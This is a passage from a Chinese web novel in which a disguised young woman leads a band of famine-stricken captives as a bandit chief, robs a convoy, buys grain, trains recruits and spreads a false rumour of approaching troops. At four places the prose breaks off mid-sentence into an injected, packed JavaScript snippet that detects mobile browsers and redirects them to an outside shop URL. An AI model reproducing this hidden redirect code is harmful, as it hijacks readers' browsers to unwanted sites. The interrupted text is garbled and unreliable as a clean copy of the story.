“行了,别耍心眼了。你们帮我把事情办好了,我立刻放人。我文六郎在道上混,讲的就是义气和脸面,一口唾沫一个钉!但你们要是敢使坏嘛,哼哼,就别怪我刀太快。” 夏云林抱着剑,歪着身子,垮肩塌腰的靠在树干上,看夏文君表演,满眼赞赏,“我家孩子可真厉害,等回家,我得跟夫人好好说道说道。” 等俘虏上山,帮忙休整营地,搭建帐篷,夏云林就在一旁悠哉悠哉的画画,主角就是夏文君。 可能是自带亲爹滤镜,他画中提着刀的夏文君,一点不凶悍,反倒俊美飘逸,站在一群俘虏中间的她,衣袖飘飘,像个来拯救世人的神君。 脚上绑了铁链的两个小孩,没给他们分配活计,他俩就被夏云林使唤来磨墨。 他们不识字,但看得懂画,看到这画,他们都惊呆了。 这不是扭曲事实吗?读书人也太阴险了。 但人在屋檐下,不得不低头,心里不服,嘴上还得狂拍马屁。 “好看,画得太好看了,咱们大当家就是厉害……” “哎!别叫什么大当家,不好听,叫六郎。”夏云林还顾忌着家族的脸面,这土匪老大的名头,他不仅不想要,还不乐意听大家叫夏文君这么粗俗的名号。 “说错了说错了,是六郎。六郎大哥是我们见过最厉害的人。功夫太好了,以后肯定能当大将军……”这两个孩子机灵活泼,之前那瘸腿和有气无力的模样,都是装出来的,夸起人来,中气十足。 嘴甜的孩子谁不爱,哪怕知道那是客套话,夏云林也开心的给了他俩一人一块枣泥酥。 拍马屁的声音一下子卡住,俩孩子结结巴巴的问道:“给我们的?” “吃吧,山上露气重,再放两天得放坏了。” 两个孩子这个时候,反倒说不出什么拍马屁的机灵话了,呆兮兮的低着头,啃了小小的一口枣泥酥。 夏文君做在一旁坐着,盯着俘虏们用石头垒灶台,眼神的余光却没离开夏云林,看到他给小孩点心,会心一笑。 想当年,她还直咧咧的问过母亲花月容,为什么选择夏云林,在她看来,夏云林根本没有上进心。 最后得到的答案是,因为夏云林善良。 她母亲花月容也是个极其努力的人,但花家不过是个杀猪宰羊的屠户人家,实在说不上体面。花月容虽然想办法让自己读书,又费尽心思结识读书人家的女子,扩大交际圈,但想做世家妇,也难如登天。 哪怕她生得花容月貌也不行。世家子只想跟她玩玩,娶她做妾。 夏家就算落魄,夏云林为了娶她,也在家里做了好大的抗争,被他大哥揍得躺了半个月。其他人,可做不到夏云林这个地步。 刚嫁入夏家的时候,花月容为了站稳脚跟,连着生了三个孩子伤了身体,夏云林反倒宽慰她,家中三个孩子够了,再多以后分家的时候,孩子就分不到什么家财了。 为了不伤妻儿的心,夏云林后院也是干干净净。所以花月容对自己的夫君非常的满意,夏云林要是上进,哪会娶她这样家世的女子。夏云林已经是她的最优选择了。 她已经给孩子创造了一个,比她当年更好的条件,按照花月容的期待,她生的孩子,以后肯定会比她做得更好。 可惜的是,她生的好大儿夏文博太像父亲,小时候被夏云林抱着去参加了太多八卦聚会,读书的时候,听到夫子讲课文,他瞌睡就来了。听到夫子讲当年的求学过程,还有游学经历,夏文博就眼神发亮。 吸取经验,二儿子夏文轩,就不让夏云林带出去玩了,结果花月容带孩子去舅家的时候,被舅舅带歪,不仅不爱读书,还练了一身的腱子肉。 到了夏文君这儿,花月容不仅不让夏云林带去参加那些乱七八糟的聚会,还不怎么带她去舅家。 所以这次花家孩子满月,花月容只带了两个儿子,把夏文君留在家中。夏云林因为着凉咳嗽,也没跟着一起去。 这就搞得一家五口,分隔两地。 不止夏云林担心在外的母亲和兄长,夏文君也担心。 心情不好,夏文君说话的语气也不会太温柔,冲着灶台边上的黑疤妇人喝道:“疤二娘,你干什么?让你做饭,你拿糠,想给马下料啊你?” “我这不是做饭吗?”疤二娘小心翼翼的辩解,“这糠挺细的,我以为是给我们吃的。” 夏文君没好气的提醒,“石头边上放着磨好的粗面还有米。” 她出城的时候特意多买了些的粮食,最近乱民闹事,粮食价格也在涨,这钱花得夏文君心疼。 不过她也知道,这钱不能省。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168516|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都是替自己买命的钱。 疤二娘在夏文君的指挥下,从口袋里往外舀粮食,舀了一勺又一勺之后,她那小眼神总是忍不住往夏文君身上飘,等着夏文君喊停。 她也是没想到,这伙土匪住得破破烂烂,就几个帐篷,还比不上她们村里的草房,本来以为是个很落魄的团伙,没想到还有能吃饱饭的实力。 “你做饭看我干什么?看锅啊! ”夏文君被看得无语,只觉得这新下属用得实在不顺手。 对自己人,夏文君一直都挺大方,能给的奖金福利都会给,想让人干活,不给钱怎么行。 她只是卷了点,又不是敲骨吸髓的周扒皮。不让人吃饱饭,就不是夏文君能干出来的事。 等把半麻袋的粮食舀空了,疤二娘才后知后觉,忐忑的看向夏文君。 看夏文君没反应,她又继续忐忑的烧火,忐忑的摘菜…… 直到她听到夏文君和夏云林的说话,才回过神来。 “好大一锅饭。你这大铁锅,还真派上用场了。” “没有油水的话,一个壮丁一天的口粮差不多得两升,我们近三十个人呢,不煮多一点不够吃。” 听到这些话,疤二娘嘴巴微张,除了农忙时节,她家哪有这待遇啊。 如果跟着这伙人能吃饱饭的话,替人卖命也不是不行。 疤二娘紧张的搓了搓手,决定再观察观察。 她的想法倒是简单,就为了吃饱饭。夏文君他们这群人,想的却是怎么回家。回平安郡才是目的,混入流民招揽人手,只是过程。 山下没人路过,没有打劫的对象,夏云林窝在山上,闲得都快长毛了。 “儿啊,柳树坡,红雀山那些地方聚集了那么多流民,我们得招揽多少人手才回得去?” “现在人手还不够,至少手下得有个百来人,回去才安全。” 夏云林惊讶了,“这么少?” “够用了。等我们这边招揽的人够了,就去散播朝廷已经派兵的谣言,或者怂恿他们去找银江郡城的麻烦。手里没粮食,又可能面对朝廷官兵的搜剿,逼急了总会有所行动。都去惦记银江郡城了,回平安郡的路上就没多少流民了……” 听到夏文君的缺德主意,夏云林人都傻了。 “难怪你一直劝我说银江郡城危险,危险,危险……你要这么搞,那银江郡城肯定危险啊。” 8.第 8 章 夏云林用眼神,表达自己的强烈谴责,皱着一张脸,小声嘀咕道:“你也是读了那么多书的人……” 怎么就没点文人风骨呢! “爹!你这眼神什么意思。我就说说,我还没干啥呢。”夏文君理所当然的说道:“这世道坏人那么多,我不出这种馊主意,也有的是人出。这是事情发展的必然轨迹。” 人都要死了,谁还讲道德啊。 “家中高床软卧,要不是形势所逼,我还不乐意掺合银江郡这些事呢。等回家了,我保证比谁都高风亮节。”夏文君挠了挠头,满脸痛苦的说道:“我养得这么好的头发,现在都长虱子了。” 她那么努力,只是想让自己过好日子。结果现在住的是草棚子,穿的是脏了的麻衣,甚至连虱子都长了,气得她够呛。 夏文君一边拿篦子梳头,一边骂骂咧咧,“那狗皇帝怎么不死了算了。连个安生日子也不让人过…… ” 骂得正起劲,负责巡视的王二和另一个俘虏丁石头就回来了。 “大当家的,山下又来了一队人。有五量马车呢,车上肯定有好东西。”虽然是俘虏,但跟着夏文君吃了两顿饱饭后,这‘大当家’三个字,丁石头叫得格外欢快。 王二则更加冷静,回禀道:“这个车队的护卫气势不弱,应当是练家子,而且人数和我们相当。要不您还是亲自去看看,再决定要不要移开路障。” “行。我看看去。”夏文君把头发随意扎好,就招呼大家一起下山,准备见机行事。 亲自见到了那队马车,夏云林立刻就准备放弃,“六郎,车上是银江郡杨家的族徽,是个大家族,我们惹不起。” “以前是以前,现在是现在。”夏文君无所畏惧的说道:“银江郡都乱成这样了,还讲什么阶级啊。先惹它一下再说,现在正是惹大家族的好适合。” “但惹了打不过啊!” “他们这个时候出行,肯定是有急事。我就赌他们不敢赌。” 夏文君朝侍女琉璃和珊瑚招了招手,吩咐道:“你俩带着丁石头他们,躲在山坡上,多折些树枝来晃,假装我们在山上埋伏了很多人。” “王二你们四个,还有丁大壮和丁二牛你们两个,跟我一起下山和马车上的人喊话。” 弱的都留在山上,夏文君只带体格能拿得出手的。 夏云林这个能看不能打的,夏文君还郑重其事的说道:“父亲,你跟赵管家就替我盯着丁石头他们,别让他们使坏。” “好。”夏云林深吸一口气,无奈的说道:“你去吧,其他事交给我。” 等把人员都安排好,夏文君才带着人,站在路障不远处,精准的朝马车前方射了一箭。 “打劫!留下买路钱,我们即刻放行。” 马儿被惊得不敢往前,车队的管事看了看道路前方的拦路枯树,忍住脾气站出来,大声喊话:“小兄弟,我们是银江杨家的人。” “什么杨家!我不认识!不给钱就不让过!”夏文君的声音清脆,带着少年的意气和张狂。 当年光是族谱还有各族的亲戚关系图,夏文君都背了十来天,各地有名的家族,就没有她不知道的。 但知道又怎样,今日不同往日,夏文君一点面子也不给杨家留,拿起手上的弓,就瞄准了说话的人。 “我数三个数,不给钱,我们可就动手了。一!” 被夏文君的箭和冷冽的目光锁定,说话的管事只觉得头皮发麻。他谨慎的左右打量了一下周围的环境,只觉得形势不妙。 现在出现的就只有夏文君他们几个人,但山上还不知道藏有多少人埋伏,他们不敢赌。 “二!” “小兄弟稍等。鄙人愿奉上十两金十匹绢的酒钱,还望小兄弟行个方便。” “这还差不多。”夏文君收起弓箭,嚣张的说道: “看在你还算懂事的份上,路过下一个山头的时候,可以报我文六郎的名号。” 新收的俘虏小弟们,都用崇拜的眼神看向夏文君。 只有王二他们四个从老家带来的护卫,看夏文君的眼神,满是震惊。 文六郎这名字才取出来多少天啊?碰到下一伙土匪,报文六郎的名字,能有什么用? 夏文君一脸淡定,出门在外,身份是自己给的。 她敢说,是她的事。 杨家人要是敢信,那就是他们不懂事了。 略带防备的接过杨家人送来的买路钱,王二才吆喝了一声,叫丁石头他们出来搬路上的枯树枝。 等杨家的马车走了,丁石头他们又把路障搬了回去。 王二看着那十匹难处理的绢布,问道:“六郎怎么不要粮食。要绢布,我们还得亲自拿去郡城换粮,路上待着也没金子方便。” “要粮食太露怯。我们装的可是个大窝点。”夏文君掂量了一下手里的金饼,说道:“明日可以带人去周边村落打探一下,能就近买粮食就不去郡城。” 听到夏文君的这个打算,一直杵在她身后的丁大壮嘿嘿一笑,直白的说道:“大当家的你想得真美。这周边的村落饿得都快啃树皮了,还卖粮食,粮食还在地里没种出来呢。” “你不是说你远地方来的吗?你怎么知道得这么清楚?”夏文君好笑的看他一眼。 丁大壮尴尬的摸了摸脖子,结结巴巴的解释道:“我路过,嘿嘿,路过。打听了一下。” “哼!”夏文君瞥他一眼,没说话,懒得戳穿。 她也不需要这群人干什么,只要能站在她身后,起到个装饰作用,让她的队伍看起来很强大就行。至于是不是真心,她无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175378|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓,反正等她回平安郡,双方就会散伙。 自己家中有钱,夏文君自然也不看中钱,她只想趁现在还没彻底乱起来,把钱换成粮食,用来扩大队伍。 抢到的钱,她一分没多留,全准备拿去买粮。 去城里买粮的话,城里还算安全,一旦出了城,粮食就有人来抢了。所以买粮的时候,夏文君把能带上的人都带上了,带着粮食出城,就有人接应。 这个时候,夏文君的假章就又派上了用场。 疤二娘和丁大壮他俩跟着夏文君一起进城,全程心底打鼓,冷汗都快下来了,看到夏文君镇定自若的模样,忍不住对视一眼,眼里的敬佩都快溢出来了。 “咱们这大当家,还真有几把刷子啊。”丁大壮小声嘀咕。 ‘啪’的一声,丁大壮的脑壳挨了一下,疤二娘骂道:“闭嘴,六郎说了,要谨言慎行!” “知道了!”因为挨了亲娘的打,丁大壮说得有些不情不愿。 看他那死样子,疤二娘没忍住,又给了他一下,提醒道:“六郎这次来城里买的可是粮食!你别搞出什么意外来。” 太监选妃的事闹出来之前,家中就已经缺粮,迫不得已,他们才出来干打劫的活。要不是被逼急了,老实巴交的他们,能干这种坏事吗? 结果才打劫两三次,就落到夏文君手里。种地和自己干打劫的时候,三天饿九顿,跟着夏文君,反倒能吃上饱饭了。 哪怕此时脚上没链子,疤二娘也没想过跑路。 跑了,然后呢?自由的饿死? 那自由的代价也太贵了。还不如跟着夏文君混呢。 尤其是去到粮铺,听到掌柜的说现在粮食价格翻倍的时候,疤二娘内心的庆幸达到顶峰。 “城中粮价怎么涨这么快?”夏文君忍不住惊讶。 “小郎君住在乡下,不知道行情。城中已经有段时间没有粮商来了。” 掌柜这冠冕堂皇的理由,把丁大壮他们给忽悠住了,但夏文君却不信这个。 秋收才过去没多久,正是世家大族储存新粮,处理陈粮的时候。哪怕今年收成不好,百姓为了交税,都快卖儿卖女了,但苦的只是底层,世家大族不仅不会受影响,还能借此机会,收拢更多土地。 有府衙和各大族的粮仓撑着,城中根本不缺粮。 以前那些大族,处理仓库中的陈粮,都是降低价格卖,现在倒好,趁乱还把价格翻了一番。 各个粮铺的价格还都一样,八成是暗地里商量好的。想在朝廷派兵平乱之前,大捞一笔。 夏文君笑呵呵的掏钱买粮,连价都不讲,摆足了阔绰小郎君的架势。 一出粮铺的门,她就骂上了,“还真是乌龟吃煤炭,都是黑心老王八。这钱都敢赚,死了也不冤枉……” 9.第 9 章 这种时候,就显出他们平安郡的好了,不仅不惹事,还怕事。 要是遇上粮价上涨这种类似的小麻烦,城中的那些有点排面的家族,就会凑到一起商议,稳定粮价,安抚民心。 在和平时期,平安郡的官员是最好当的,大家族不搞事,小百姓不闹事,大家一起和稀泥,糊弄糊弄,日子就过下去了。 相比起来,银江郡这边的豪强,就有些太不知足。 夏云林知道很多大族都是这么做大做强的,但他却不太赞同,感叹道:“他们银江郡的人,一点也不知道‘安稳’的重要性,手段太刚强。” “对上谄媚,对下盘剥。真把乱民逼急了,打进城来就老实了。”夏文君忍不住嘲讽。 平安郡无险可依,乱世的时候,谁都能把平安郡收割一遍,所以平安郡没有特别牛的大世家,小家族们做事也谨慎,对郡内百姓十分温和。就算盘剥,也是采用隐晦温和的手段,就怕激起民怨。 反正夏文君在平安郡生活了十几年,还乐乐呵呵的,到银江郡还不到一个月,怨气就快冲天了。 买了三车粮食,又买了几把长刀,把抢来的钱财花得精光,夏文君他们一行人就赶紧出城。 和接应的王二他们碰上头之后,夏文君就问道:“干柴都准备好了吗?盖在粮食上,骗不过聪明人,但可以勉强遮掩一下。” “都准备好了。” 到了偏僻无人的地方,王二他们就开始重新整理粮食。夏文君几人就开始换装,把身上的长袍脱下,换上普通的麻衣短褐。 麻鞋夏文君几人穿不惯,穿的还是自己的皮靴。这打扮虽然有些不伦不类,但还挺符合有点小钱,又不懂审美的土匪身份。 车上装的是粮食,拉车的人走得脚下生风。 虽然走得已经尽量快,但夏文君一行人还是被拦住了。 不知道从哪个犄角旮旯蹿出来的拦路匪,穿得比当初的疤二娘他们还破烂,挡在他们的前路,开口让他们把车上的东西交出来。 抢粮食就是抢大家伙的心肝肉,疤二娘当即叫骂道:“缺心眼的玩意儿,要柴不知道自己去山上捡啊。” “装什么?三车柴,用得着你们这么多人盯着吗?我们也不要多的,给我们一袋粮食,我们就走。” “就是,把粮食交出来,交出来我们就放你们走。” 这伙人有几十个,武器虽然不咋地,但人多势众。 丁大壮他们跟着夏文君混了一段时间,胆子也肥了,看他们要围过来,就大声叫骂了起来。 “哪座山上混的!敢拦我们文六爷的路,也不知道出去打听打听我们是谁。居然抢到我们头上来了。” 还别说,提起夏文君的名号,丁大壮他们还很骄傲。仿佛夏文君真的很牛。 两边人对呛起来,就跟在街头吵架似的,听得人脑瓜子嗡嗡的。 夏文君忍不住踹了丁大壮一脚,骂道:“懂不懂规矩啊。老子还没说话呢!你搁那儿说什么啊你!别废话了,赶紧拿刀,杀过去!” 她一声令下,王二就直接带头冲了。丁大壮他们这群新来的,听到‘杀过去’这三个字的时候,肝颤了一下,但还是壮着胆子从柴堆里把刀抽出来,闷着脑袋往前冲。 不冲不行啊,对方想抢的是粮食。真怂了,挨饿的就是自己了。 粮食就是他们的命。 “杀啊!”为了给自己壮胆,丁大壮他们叫得比夏文君还大声。 跟着夏文君混了几天,一个个也都吃饱饭了,有一把子力气,拿着长刀乱砍,也能发挥出极强的杀伤力。 和他们对打的人,输在力气和装备不行,但人多,乌泱泱的围上来,看起来很有气势。 夏文君年纪最小,却是战力最高的那个,王二他们也就没分心思在夏文君身上,只想着赶紧打赢,把这拨拦路匪收拾了,带着粮食走人。 可丁大壮对夏文君的实力认识不够清晰,看围着夏文君的人多,立马就屁颠屁颠的凑过来。 “大当家,我来帮你!啊!打~” 这个大当家虽然阴险了点,坏了点,但跟着大当家混,能吃饱饭,他还挺喜欢这个大当家的,可不能看着大当家出事。 他那长刀舞得毫无章法,拼着自己胳膊差点挨一锄头,也把对手的胸口砍了一刀,血一下就溅到夏文君身上了。 夏文君刚刚是动了手,伤了人,但身上还是干干净净的,从没想过把自己搞得这么狼狈。 当即她就瞪了丁大壮一眼。 丁大壮眼神亮晶晶的和夏文君对视,心里美滋滋的想道:他刚刚立功了!这次进城,大当家还买了肉,今天晚上的肉,我肯定有份!而且大当家的眼神,好有杀气,好有大当家的风范,好威猛…… 在敌方人马重伤败退,处理完现场之后,丁大壮就期待的跟在夏文君身后,等待夏文君的夸奖。 两人对视一眼,又对视了一眼。 夏文君莫名其妙,嫌弃道:“你娘对你招手呢,你不过去帮忙,你杵这儿干嘛?” 还是她从小培养的琉璃和珊瑚贴心,丁大壮这样的憨货,她看着就眼睛疼。 “哦。”丁大壮略有些失望,蔫哒哒的跑到疤二娘身边,问道:“娘,你找我干啥?你不是说你刚刚没受伤吗?” 夏文君新购买了好几把长刀,己方有武器优势,还有夏文君和王二几个练家子控场,他们这么多人,就丁二牛受的伤重了点,已经敷药包扎好了。 “娘叫你就不能是别的事吗?”疤二娘小声问道:“这次大当家又抓了八个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183429|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俘虏,你是怎么想的。” “挺好的啊。能帮我们拉车,我们一下子就轻松了。”在疤二娘恨铁不成钢的眼神里,丁大壮拍了拍脑袋,“啊,我想起来了。八个俘虏,我们能赎四个人。娘,你想回家啊?还是别了吧,回家吃啥啊?家里都没粮了。” 疤二娘都无语,“算了,我懒得跟你说。等回山上,我跟你七爷爷商量。” “商量啥啊?”丁大壮好奇追问。 疤二娘恨铁不成钢,“我们倒是不饿肚子了,你二伯和五妹妹还有其他亲戚,都还在家里熬着呢。与其让人在家里饿死,把人带上山,也是一条活路。” 他们所在的村子,离当初截道的地方不是特别远,去几个人跑一趟,就能把村里的人都带上山。 干土匪是杀头的买卖,但他们没有能力去考虑未来,现在能保住性命就已经不错了。 “娘你这主意好。大当家这人大方,跟着他有饭吃。但是吧……”丁大壮摸了摸下巴,犹豫的说道:“五妹妹生得好看,万一被大当家看上怎么办?” “这都什么时候了,你还担心这个。大当家又抓这么多人上山干活,要不要村里人还不一定呢。” 疤二娘本来还想再观察一段时间的,但这批新抓的俘虏,给了她危机感。她虽然帮忙做饭,但夏文君手里有多少粮食,她并没有打探清楚。万一夏文君手中粮食有限,要不了那么多人怎么办? “哎呀,娘担心得太多了,你没发现吗?大当家的身份一看就不一般,你看他今天进城的作态,我学八辈子都学不来。他钱多着呢,肯定养得起。” 至于夏文君收拢人到底想干什么,丁大壮不准备深究,他那脑子也琢磨不明白,反正跟着大当家能吃饱就行。 能吃上肉的话,那就更好了。 丁大壮对自己今天的表现非常满意,觉得今天买的肉,肯定有他的份。 可肉是有了,但他碗里就一片。人人碗里都是一片,只有丁二牛这个伤重一点的,分了两片肉,丁大壮并不特殊。 到了第二天,没活干的时候,夏文君就把所有人叫到一起训话。 “这个时间不能浪费,必须得操练起来。不会打配合,就是在拖后腿!以后在我的队伍里,一定要有团队协作的意识,知道了吗?” 一群乌合之众,夏文君原本是不想多管的,时机合适,就准备脱身回家。但被猪队友拖过后腿之后,夏文君也不得不在这个队伍上多花点心思了。 这个时候,队伍里的丁大壮,眼神莫名和夏文君对上了。 他突然间福至心灵,缩了缩脖子,大当家不会是在说话点他吧! “问你们话呢!知道了吗?”夏文君忽然提高音量。 丁大壮赶紧超大声的回答:“知道啦!” 10.第 10 章 怕夏文君觉得不够,丁大壮还特意狗腿的补充道:“大当家的,您就随便操练吧,我们能行。” “闭嘴。”夏文君瞪他一眼,教训道:“我问什么,你们就答什么。别跟我在那儿说废话!一点眼力见都没有!” “嗯嗯嗯。”丁大壮疯狂点头,老实住嘴。 丁大壮的态度是挺积极的,就是蠢得都挂相了,光看着夏文君就觉得糟心。 想当初她一路卷进大厂,同事都是名校毕业,领导的话一说完,同事们都能深刻理解领导的意思,并且立刻执行,合作效率超高。 但现在嘛,自己带上团队了,夏文君就深刻认识到了人类智商的参差。 平安郡那边的手下,是夏文君花了好几年才培养出来的,相处起来才算和谐。 培养人才太麻烦,丁大壮他们这群人,夏文君原本就没想过培养,只想用完就扔。 双方就这么保持冷酷的利用关系挺好的。可现在丁大壮他们这群人,积极主动热情。 要是对方存着坏心思,夏文君肯定不会被他们坑,基本没有危险性。 他们要是一片真心,那完蛋了,危险性大大增加。 夏文君重点批评丁大壮,“昨天你拿着长刀,跑到我跟前来乱挥,要不是你把敌人砍了,我还以为你要砍我呢。那个人都快被我踹飞了,你一刀就砍了过去,你会不会看时机啊?” 拍马屁没拍到,还讨到一顿骂,丁大壮低头不敢反驳。 “还有你,丁二牛,你自己什么本事,你不知道啊?跟得了疯牛病似的,一冲就冲到敌人窝里去了,你怎么不冲到别人家里去呢?就你这样的,你不被砍,谁被砍?” 昨天的所有人,夏文君挨个点名批评,动了手出了力的,夏文君的态度还算好。那种畏畏缩缩的,夏文君说话就不算客气了。 “下次要是再敢躲在后面不出力,老子先把你砍了。” 她骂人,夏云林还在旁边点头,表示赞同。别看他脾气温和,真动手的时候,他战斗力也很强,反正比丁大壮这种没有丝毫训练痕迹的人强。 这群乌合之众,夏云林也看不过眼。夏家再落魄,家中护卫,也不曾差到过这种地步。 夏文君训话,夏云林就在旁边削棍子,削完顺手就递给夏文君了。 “来,待会儿训练的时候,用这个棍子抽人。顺手,好用!” 夏云林看向众人的眼光,格外慈祥。 他家六娘可不是什么善茬,要求高得很,对自己的要求高,对身边人的要求也高。接下来好几天,大家估计都得鬼哭狼嚎了。 自己什么脾气,夏文君也有数。一旦上手了,就忍不住想做得好一点。 她都跟琉璃还有王二他们打好招呼了,值夜或是巡逻的时候,要是谁敢跑,立刻逮住,暴揍一顿狠的,杀鸡儆猴。 可被训的一群人,一天天的都痛苦得‘哎哟哎哟’直叫唤,也没一个想跑路。 反倒因为共患难过,新上山的那八个俘虏,和丁大壮他们相处得还不错,双方凑在一起,不是说自己的手痛脚痛,就是一起骂那群官吏还有黑心地主,氛围还挺和谐。 紧盯了两天,夏文君心里的警惕就稍微放松了些。 “估计以前是真饿惨了。现在只要能吃饱饭,他们估计都不会跑。”夏文君都有点同情他们了。 “确实都挺听话。你让怎么练,他们就怎么练,一点都不打折扣。”夏云林小声的说道:“搞得我都想回家的时候,饿你大哥二哥几顿了,两个逆子。” 新招揽的这群手下,人是笨了点,但听话。好好的教了几天,用起来一下子就顺手多了。 至少在夏文君说话的时候,不会有人不合时宜的拍马屁或者做捧哏。打劫的时候,夏文君让他们往前冲,没人敢往后跑。 这土匪头子,还真让夏文君做出了点滋味来。 “我感觉我都能女扮男装,去军队做将军了。也不一定要在后方,做运筹帷幄的管理型人才,都有点埋没我的优点了。” 夏云林忍不住吐槽道:“你可别折腾了,你有几条命啊,咱们还是赶紧想办法回平安郡窝着吧。这外头真是越来越乱了。” 出平安郡的时候,他甚至都只带了管家一个人。因为他前几年去京都的时候,路上还很太平。谁知道才几年的功夫,形势就急转直下。 “我听丁石头说,今年银江郡的旱情比较严重,他爹就死在和邻村抢水的械斗里了,水是抢到了,但庄稼收成也不好。他二伯又被征徭役,去修建行宫,听说是死了。他们出来拦路抢劫,也听说银江郡有人叛乱,想出来趁乱找点活路……” 夏文君惊讶的问道:“疤二娘他们不是遮遮掩掩的,不说老实话吗?丁石头就这么把底细跟你说了?” “没啊,我自己问出来的。”夏云林理所当然的说道:“我就随便跟他们聊了聊家常,就问出来了。我听丁石头的意思,他们好像还在商量,要不要带亲人来投奔我们。” 底下办事的是一家人,领导被架空这种事,夏文君不可能让它发生在自己身上。 手下招揽了其他人,夏文君就立刻提拔了两个聪明人做小队长。手里的人多了,杂了,丁大壮他们这伙人多点少点,夏文君都无所谓。 可能是被夏文君的训练折磨怕了,疤二娘他们都没敢耍小心思,等夏文君又招揽了一批人手,他们就老实主动的来向夏文君投诚。 “大当家的,这山里的条件多差啊,早晚湿气还重。您去住我家吧,把咱们村当山下的驻点,吃住都方便。出来找钱花,也方便得很,我们村离官道很近的……” 夏文君本来以为,疤二娘会主动带亲人一起上山落草为寇。谁知道他们更干脆,直接引贼入家。 她还是低估了这个时代人的下限。 疤二娘继续游说,“大当家您去我们村里,不仅生活方便,就算是朝廷的官兵打来了,我们村里的人,也能给你做好掩护……” 匪民一家亲,多和谐啊。 夏文君乐了,似笑非笑的说道“你说的还真没错。朝廷的官兵很快就要打来了。” “啊?”疤二娘被吓了一跳,有些胆怯了,“没听说啊。” 没听说就对了,因为这是夏文君瞎编的。 她只负责散播谣言,至于这谣言能传成什么样,她就不管了。 “听说朝廷那边已经下令,马上就要出兵。这山上不能待了,你们村也不能待。我得想办法多搞点粮食,准备跑路了。” 听到有官兵要来,疤二娘的第一想法是赶紧回家,装良民,免得被官兵砍了。可夏文君一提到粮食,她立刻又清醒了,没粮食,回家也是个死。 至于抢了粮食跑路这个办法,她第一时间就排除,他们一伙人加起来都打不过夏文君,根本没那个胆子抢。 “大当家,您要去哪儿啊!”疤二娘都快哭了,恨不得抱着夏文君的腿,求她别走。夏文君走了,他们吃啥啊! 夏文君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192281|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦了擦自己的手里的剑,一脸愁容的说道:“哪里安全往哪儿走,反正银江郡是不能待了。一是怕朝廷的官兵,二是怕大家一时想不开,逼急了,集结起来攻打郡城,我这人怕死,还是躲远些的好。” 什么都还没发生呢,夏文君就说得跟真的似的。 她看了疤二娘一眼,提醒道:“你不会真以为,落草为寇是什么粮多事少离家近的生意吧?这世上哪有这种好事?做土匪,干的是杀头的买卖!你那群亲戚,要不要来跟我混,最好还是想清楚再做决定。” 疤二娘像是下定了某种决心似的,还是跟夏文君请了一天假,准备回去和村里的亲人说清楚。 这段时间夏文君这大当家当得十分出色,底下的小弟对她都信服。她说什么,大家就信什么,听说朝廷出兵,一时间大家脸上都带上了愁容。 山上的人愁,山下的人同样也愁。疤二娘一回村,就替夏文君把这些谣言散播了出去。 反正情况都已经坏成这个样子,很多人干脆就不挣扎了。 疤二娘他们探出了一条暂时的活路,村里人想都不想,就收拾东西跟疤二娘跑,投奔夏文君。 招揽到一百多号人,又把谣言散播了出去,夏文君没有任何犹豫,立刻带人往平安郡的方向走。 路过柳树坡的时候,夏文君他们这伙人就被拦住了。夏文君他们只是个小团伙,这周围的大团伙还多着呢。 “哪来的?干什么去?” 王二上前回话,“我们是小尖山来的。去平安郡。” “哦~那个小尖山的文六郎是吧?” 王二还有些惊讶,这才多久啊,还真让夏文君混出名气来了,“您还听过我们大当家的名号啊?” “有点印象。你们先别走,我们大当家有请。” 就知道这平安郡不好回。听到这话,夏文君没有任何犹豫,立刻把剑拔了出来,冷声骂道:“朝廷的大军都要打过来了,你们还不逃命,拦我干什么!你要真逼急了,别怪我们跟你鱼死网破。” 一百多人的小团队,确实是硬茬子,不太好收拾,柳树坡的人赶紧放软语气。 “文六爷你别生气啊。我们大当家找你是正经事,除了你,周边好多大当家的都在,大家都凑在一起想办法呢。” 至于之前为什么没邀请夏文君,当然是因为她手下的人不够多,没那个排面。但她来都来了,自然就被请去一起商议了。 